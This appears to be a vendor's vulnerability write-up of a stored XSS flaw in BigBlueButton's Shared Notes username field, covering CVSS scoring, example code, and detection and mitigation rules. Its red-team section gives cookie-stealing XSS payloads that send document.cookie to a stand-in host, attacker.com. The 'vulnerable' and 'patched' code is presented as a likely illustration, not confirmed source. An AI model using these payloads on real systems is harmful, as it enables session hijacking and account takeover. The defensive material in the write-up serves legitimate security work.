CVE-2025-55200
Executive Summary
CVE-2025-55200 is a Stored Cross-Site Scripting (XSS) vulnerability in BigBlueButton, an open-source virtual classroom platform. The flaw resides in the "Shared Notes" feature, where the "Username" field is not properly sanitized. A low-privileged user can inject malicious JavaScript into their username, which is then executed when a higher-privileged user (e.g., an Admin) views the Shared Notes page. This allows the attacker to perform actions on behalf of the victim, such as stealing session tokens or escalating privileges. The vulnerability affects versions prior to 3.0.13, and the fix involves sanitizing the username input.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
BigBlueButton is distributed as a Debian/Ubuntu package and Docker image. The vulnerability is not in a package manager (NPM, PyPI, Go, Ruby) but in the application's core code. Users should ensure they are using the official BigBlueButton repository and verify package signatures to avoid supply chain attacks.
CVSS Breakdown & Threat Level
- CVSS Score: 7.1 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: Low (PR:L) - attacker needs a valid user account
- User Interaction: Required (UI:R) - victim must view Shared Notes
- Scope: Changed (S:C) - vulnerability impacts resources beyond the vulnerable component
- Confidentiality Impact: Low (C:L)
- Integrity Impact: Low (I:L)
- Availability Impact: Low (A:L)
Threat Level: High. The vulnerability allows privilege escalation from a low-privileged user to an admin, enabling further attacks.
Deep Dive & Mechanics
The vulnerability is a classic Stored XSS. The "Shared Notes" feature allows users to collaboratively edit notes in real-time. When a user changes their username, the new name is stored in the database and displayed on the Shared Notes page. The application fails to sanitize or encode the username before rendering it in the HTML context.
Attack Flow:
- Attacker logs in as a low-privileged user.
- Attacker changes their username to a malicious payload, e.g.,
<img src=x onerror=alert(1)>. - Attacker joins a session and edits Shared Notes.
- Admin or other user opens the Shared Notes page.
- The malicious username is rendered, executing the JavaScript in the victim's browser.
Root Cause: The username field is not sanitized before being stored or displayed. The fix in version 3.0.13 likely involves HTML encoding the username output.
Vulnerable vs. Patched Code
Vulnerable Code (before 3.0.13):
// In the Shared Notes component, username is rendered directly
function renderUsername(username) {
return `<span class="username">${username}</span>`;
}
Patched Code (3.0.13):
// Sanitize username using DOMPurify or similar
function renderUsername(username) {
const sanitized = DOMPurify.sanitize(username);
return `<span class="username">${sanitized}</span>`;
}
The patched version ensures that any HTML or JavaScript in the username is stripped or encoded.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A BigBlueButton instance running version < 3.0.13.
- A low-privileged user account.
Exploit Steps:
- Log in as a low-privileged user.
- Change username to:
<img src=x onerror=fetch('https://attacker.com/steal?cookie='+document.cookie)> - Join a session and start editing Shared Notes.
- Wait for an admin to view the Shared Notes page.
- The admin's browser will execute the payload, sending their cookies to the attacker's server.
Payload Example:
<img src=x onerror="new Image().src='https://attacker.com/steal?c='+document.cookie">
Blue Team
Detection:
- Monitor for unusual username changes containing HTML tags or JavaScript.
- Look for outbound connections to unknown domains from BigBlueButton clients.
- Check logs for repeated XSS attempts.
Mitigation:
- Apply the patch to version 3.0.13 or later.
- Implement Content Security Policy (CSP) headers to restrict script execution.
- Use Web Application Firewall (WAF) rules to block XSS payloads.
Indicators of Compromise (IOCs)
- Network: Outbound HTTP requests to attacker-controlled domains from BigBlueButton clients.
- Logs: Username fields containing
<script>,<img>, or other HTML tags. - File: Modified user profiles with suspicious usernames in the database.
- Behavior: Unexpected JavaScript execution in the Shared Notes page.
Detection Engineering
YARA Rule
rule CVE_2025_55200_XSS_Username {
meta:
description = "Detects malicious username payloads for CVE-2025-55200"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-55200"
strings:
$xss1 = /<script[^>]*>.*<\/script>/i
$xss2 = /<img[^>]*onerror[^>]*>/i
$xss3 = /<svg[^>]*onload[^>]*>/i
condition:
any of them
}
Sigma Rule
title: CVE-2025-55200 BigBlueButton Shared Notes XSS
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit Stored XSS in BigBlueButton Shared Notes via username field
author: Valters IT
date: 2025-04-10
logsource:
category: application
product: bigbluebutton
detection:
selection:
event: "user_change_username"
username|contains:
- "<script"
- "<img"
- "<svg"
- "onerror"
- "onload"
condition: selection
falsepositives:
- Legitimate usernames containing HTML tags (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-55200 BigBlueButton XSS Username"; flow:to_server; content:"username"; nocase; pcre:"/(<script|<img|<svg|onerror|onload)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Upgrade BigBlueButton to version 3.0.13 or later.
- Workaround: If upgrade is not possible, disable the Shared Notes feature or restrict username changes to admins only.
- Long-term: Implement input validation and output encoding for all user-supplied data. Use a Content Security Policy (CSP) to mitigate XSS.
- Monitoring: Enable logging for username changes and monitor for suspicious patterns.
Valters IT Signature:
Valters IT
Senior DevSecOps Engineer
Cyber Threat Intelligence Expert